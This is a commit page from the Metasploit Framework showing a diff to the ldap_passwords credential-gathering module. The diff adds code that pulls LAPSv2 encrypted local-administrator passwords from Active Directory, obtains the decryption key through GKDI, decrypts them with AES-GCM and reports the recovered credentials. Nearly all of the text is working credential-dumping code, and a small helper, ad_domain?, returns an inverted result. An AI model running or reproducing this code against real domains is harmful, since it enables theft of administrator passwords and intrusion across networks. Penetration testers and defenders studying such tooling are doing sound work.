Skip to content

Commit 9a2e150

Browse files
committed
Add LAPSv2 support to ldap_paswords
1 parent 1dfd3fd commit 9a2e150

File tree

1 file changed

+186
-10
lines changed

1 file changed

+186
-10
lines changed

modules/auxiliary/gather/ldap_passwords.rb

Lines changed: 186 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -3,17 +3,21 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6+
require 'rasn1'
7+
68
class MetasploitModule < Msf::Auxiliary
79

810
include Msf::Auxiliary::Scanner
911
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::MsGkdi
1013
include Msf::Exploit::Remote::LDAP
1114
include Msf::OptionalSession::LDAP
1215

1316
include Msf::Exploit::Deprecated
1417
moved_from 'auxiliary/gather/ldap_hashdump'
1518

16-
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
19+
LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800'.freeze
20+
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
1721

1822
def initialize(info = {})
1923
super(
@@ -29,18 +33,17 @@ def initialize(info = {})
2933
],
3034
'References' => [
3135
['CVE', '2020-3952'],
32-
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
36+
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'],
37+
['URL', 'https://blog.xpnsec.com/lapsv2-internals/'],
38+
['URL', 'https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py']
3339
],
3440
'DisclosureDate' => '2020-07-23',
3541
'License' => MSF_LICENSE,
36-
'Actions' => [
37-
['Dump', { 'Description' => 'Dump all LDAP data' }]
38-
],
39-
'DefaultAction' => 'Dump',
4042
'Notes' => {
4143
'Stability' => [CRASH_SAFE],
4244
'SideEffects' => [IOC_IN_LOGS],
43-
'Reliability' => []
45+
'Reliability' => [],
46+
'AKA' => ['GetLAPSPassword']
4447
}
4548
)
4649
)
@@ -58,10 +61,71 @@ def initialize(info = {})
5861
])
5962
end
6063

64+
def session?
65+
defined?(:session) && session
66+
end
67+
6168
def print_prefix
69+
return "#{Rex::Socket.to_authority(session.client.host, session.client.port)} - " if session?
70+
6271
"#{peer.ljust(21)} - "
6372
end
6473

74+
def get_ad_ds_domain_info(ldap)
75+
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
76+
77+
root_dse = ldap.search(
78+
ignore_server_caps: true,
79+
base: '',
80+
scope: Net::LDAP::SearchScope_BaseObject,
81+
attributes: %i[configurationNamingContext supportedCapabilities supportedExtension]
82+
)&.first
83+
84+
unless root_dse[:supportedcapabilities].map(&:to_s).include?(LDAP_CAP_ACTIVE_DIRECTORY_OID)
85+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
86+
return nil
87+
end
88+
89+
unless root_dse[:supportedextension].include?(Net::LDAP::WhoamiOid)
90+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
91+
return nil
92+
end
93+
94+
print_status('The target LDAP server is an Active Directory Domain Controller.')
95+
96+
unless ldap.search(base: '', filter: '(objectClass=domain)').nil?
97+
# this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
98+
# means we'll be getting information from more than one domain which breaks some core assumptions
99+
# see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
100+
fail_with(Msf::Module::Failure::NoTarget, 'The target LDAP server is a Global Catalog.')
101+
end
102+
103+
# our_domain, _, our_username = ldap.ldapwhoami.to_s.delete_prefix('u:').partition('\\')
104+
105+
target_domains = ldap.search(
106+
base: root_dse[:configurationnamingcontext].first.to_s,
107+
filter: "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ldap.base_dn}))"
108+
)
109+
unless target_domains.present?
110+
fail_with(Msf::Module::Failure::NotFound, 'The target LDAP server did not return its NETBIOS domain name.')
111+
end
112+
113+
unless target_domains.length == 1
114+
fail_with(Msf::Module::Failure::NotFound, "The target LDAP server returned #{target_domains.length} NETBIOS domain names.")
115+
end
116+
117+
target_domain = target_domains.first
118+
119+
{
120+
netbios_name: target_domain[:netbiosname].first.to_s,
121+
dns_name: target_domain[:dnsroot].first.to_s
122+
}
123+
end
124+
125+
def ad_domain?
126+
@ad_ds_domain_info.nil?
127+
end
128+
65129
# PoC using ldapsearch(1):
66130
#
67131
# Retrieve root DSE with base DN:
@@ -89,6 +153,8 @@ def run_host(_ip)
89153
vprint_status("Using the '#{datastore['USER_ATTR']}' attribute as the username")
90154
end
91155

156+
@ad_ds_domain_info = get_ad_ds_domain_info(ldap)
157+
92158
print_status("Searching base DN: #{base_dn}")
93159
entries_returned += ldap_search(ldap, base_dn, base: base_dn)
94160
end
@@ -106,10 +172,12 @@ def run_host(_ip)
106172
def ldap_search(ldap, base_dn, args)
107173
entries_returned = 0
108174
creds_found = 0
175+
# TODO: use a filter when we're targeting AD DS
109176
def_args = {
110-
base: '',
111177
return_result: false,
112-
attributes: %w[* + -]
178+
scope: Net::LDAP::SearchScope_WholeSubtree,
179+
# build a filter that searches for any object that contains at least one of the attributes we're interested in
180+
filter: "(|#{password_attributes.map { "(#{_1}=*)" }.join})"
113181
}
114182

115183
begin
@@ -233,6 +301,12 @@ def process_hash(entry, attr)
233301
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
234302
# In the meantime, dump the base64 encoded value.
235303
private_data = Base64.strict_encode64(private_data)
304+
when 'mslaps-encryptedpassword'
305+
lapsv2 = process_result_lapsv2_encrypted(entry)
306+
next if lapsv2.nil?
307+
308+
username = lapsv2['n']
309+
private_data = lapsv2['p']
236310
when 'userpkcs12'
237311
# if we get non printable chars, encode into base64
238312
if (private_data =~ /[^[:print:]]/).nil?
@@ -271,7 +345,7 @@ def process_hash(entry, attr)
271345
# highlight unresolved hashes
272346
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
273347

274-
print_good("Credentials (#{jtr_format || 'password'}) found in #{attr}: #{username}:#{private_data}")
348+
print_good("Credentials (#{jtr_format.blank? ? 'password' : jtr_format}) found in #{attr}: #{username}:#{private_data}")
275349

276350
report_creds(username, private_data, jtr_format)
277351
creds_found += 1
@@ -300,7 +374,109 @@ def report_creds(username, private_data, jtr_format)
300374
username: username
301375
}.merge(service_data)
302376

377+
if @ad_ds_domain_info
378+
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
379+
credential_data[:realm_value] = @ad_ds_domain_info[:dns_name]
380+
end
381+
303382
cl = create_credential_and_login(credential_data)
304383
cl.respond_to?(:core_id) ? cl.core_id : nil
305384
end
385+
386+
def process_result_lapsv2_encrypted(result)
387+
if session?
388+
print_warning('Can not obtain LAPSv2 decryption keys when running with an existing session.')
389+
return
390+
end
391+
392+
encrypted_block = result['msLAPS-EncryptedPassword'].first
393+
394+
encrypted_blob = LAPSv2EncryptedPasswordBlob.read(encrypted_block)
395+
content_info = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(encrypted_blob.buffer.pack('C*'))
396+
encrypted_data = encrypted_blob.buffer[content_info.to_der.bytesize...].pack('C*')
397+
enveloped_data = content_info.enveloped_data
398+
recipient_info = enveloped_data[:recipient_infos][0]
399+
kek_identifier = recipient_info[:kekri][:kekid]
400+
401+
key_identifier = kek_identifier[:key_identifier]
402+
key_identifier = GkdiGroupKeyIdentifier.read(key_identifier.value)
403+
404+
other_key_attribute = kek_identifier[:other]
405+
unless other_key_attribute[:key_attr_id].value == '1.3.6.1.4.1.311.74.1'
406+
vprint_error('msLAPS-EncryptedPassword parsing failed: Unexpected OtherKeyAttribute#key_attr_id OID.')
407+
return
408+
end
409+
410+
ms_key_attribute = MicrosoftKeyAttribute.parse(other_key_attribute[:key_attr].value)
411+
kv_pairs = ms_key_attribute[:content][:content][:content][:kv_pairs]
412+
sid = kv_pairs.value.find { |kv_pair| kv_pair[:name].value == 'SID' }[:value]&.value
413+
414+
sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(
415+
"O:SYG:SYD:(A;;CCDC;;;#{sid})(A;;DC;;;WD)",
416+
domain_sid: sid.rpartition('-').first
417+
)
418+
419+
if @gkdi_client.nil?
420+
@gkdi_client = connect_gkdi(username: datastore['LDAPUsername'], password: datastore['LDAPPassword'])
421+
end
422+
423+
begin
424+
kek = gkdi_get_kek(
425+
client: @gkdi_client,
426+
security_descriptor: sd,
427+
key_identifier: key_identifier
428+
)
429+
rescue StandardError => e
430+
elog('Failed to obtain the KEK from GKDI', error: e)
431+
print_error("Failed to obtain the KEK from GKDI: #{e.class} - #{e}")
432+
return nil
433+
end
434+
435+
algorithm_identifier = content_info.enveloped_data[:encrypted_content_info][:content_encryption_algorithm]
436+
# TODO: validate that AES-GCM is in use
437+
iv = algorithm_identifier.gcm_parameters[:aes_nonce].value
438+
encrypted_key = recipient_info[:kekri][:encrypted_key].value
439+
440+
key = Rex::Crypto::KeyWrap::NIST_SP_800_38f.aes_unwrap(kek, encrypted_key)
441+
442+
cipher = OpenSSL::Cipher::AES.new(key.length * 8, :GCM)
443+
cipher.decrypt
444+
cipher.key = key
445+
cipher.iv_len = iv.length
446+
cipher.iv = iv
447+
cipher.auth_tag = encrypted_data[-16...]
448+
plaintext = cipher.update(encrypted_data[...-16]) + cipher.final
449+
JSON.parse(RubySMB::Field::Stringz16.read(plaintext).value)
450+
end
451+
452+
# https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
453+
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
454+
class LAPSv2EncryptedPasswordBlob < BinData::Record
455+
endian :little
456+
457+
file_time :timestamp
458+
uint32 :buffer_size
459+
uint32 :flags
460+
uint8_array :buffer, initial_length: :buffer_size
461+
end
462+
463+
class MicrosoftKeyAttribute < RASN1::Model
464+
class Sequence < RASN1::Model
465+
class KVPairs < RASN1::Model
466+
sequence :content, content: [
467+
utf8_string(:name),
468+
utf8_string(:value)
469+
]
470+
end
471+
472+
sequence :content, constructed: true, content: [
473+
sequence_of(:kv_pairs, KVPairs)
474+
]
475+
end
476+
477+
sequence :content, content: [
478+
objectid(:key_attr_id),
479+
model(:key_attr, Sequence)
480+
]
481+
end
306482
end

0 commit comments

Comments
 (0)